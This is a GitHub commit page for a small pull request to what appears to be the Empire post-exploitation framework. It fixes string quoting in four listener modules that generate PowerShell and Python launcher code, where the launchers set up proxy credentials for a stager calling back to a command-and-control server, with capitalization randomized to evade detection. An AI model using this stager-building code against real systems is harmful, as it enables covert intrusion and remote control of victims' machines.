Merge pull request #728 from dirkjanm/dev

Fixed custom proxy config in launcher code
websockets-multiuser
Steve Borosh 2017-09-30 11:31:15 -04:00 committed by GitHub
commit 223079597c
4 changed files with 32 additions and 32 deletions

View File

@ -222,7 +222,7 @@ class Listener:
password = proxyCreds.split(':')[1] password = proxyCreds.split(':')[1]
domain = username.split('\\')[0] domain = username.split('\\')[0]
usr = username.split('\\')[1] usr = username.split('\\')[1]
stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");" stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
#save the proxy settings to use during the entire staging process and the agent #save the proxy settings to use during the entire staging process and the agent
@ -307,7 +307,7 @@ class Listener:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0] username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1] password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n" launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else: else:
launcherBase += "o = urllib2.build_opener(proxy);\n" launcherBase += "o = urllib2.build_opener(proxy);\n"

View File

@ -243,7 +243,7 @@ class Listener:
password = proxyCreds.split(':')[1] password = proxyCreds.split(':')[1]
domain = username.split('\\')[0] domain = username.split('\\')[0]
usr = username.split('\\')[1] usr = username.split('\\')[1]
stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");" stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
#save the proxy settings to use during the entire staging process and the agent #save the proxy settings to use during the entire staging process and the agent
@ -367,7 +367,7 @@ class Listener:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0] username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1] password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n" launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else: else:
launcherBase += "o = urllib2.build_opener(proxy);\n" launcherBase += "o = urllib2.build_opener(proxy);\n"

View File

@ -198,7 +198,7 @@ class Listener:
password = proxyCreds.split(':')[1] password = proxyCreds.split(':')[1]
domain = username.split('\\')[0] domain = username.split('\\')[0]
usr = username.split('\\')[1] usr = username.split('\\')[1]
stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");" stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
# TODO: reimplement stager retries? # TODO: reimplement stager retries?
@ -294,7 +294,7 @@ class Listener:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0] username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1] password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n" launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else: else:
launcherBase += "o = urllib2.build_opener(proxy);\n" launcherBase += "o = urllib2.build_opener(proxy);\n"

View File

@ -176,7 +176,7 @@ class Listener:
password = proxyCreds.split(':')[1] password = proxyCreds.split(':')[1]
domain = username.split('\\')[0] domain = username.split('\\')[0]
usr = username.split('\\')[1] usr = username.split('\\')[1]
stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");" stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
# TODO: reimplement stager retries? # TODO: reimplement stager retries?
@ -262,7 +262,7 @@ class Listener:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0] username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1] password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n" launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else: else:
launcherBase += "o = urllib2.build_opener(proxy);\n" launcherBase += "o = urllib2.build_opener(proxy);\n"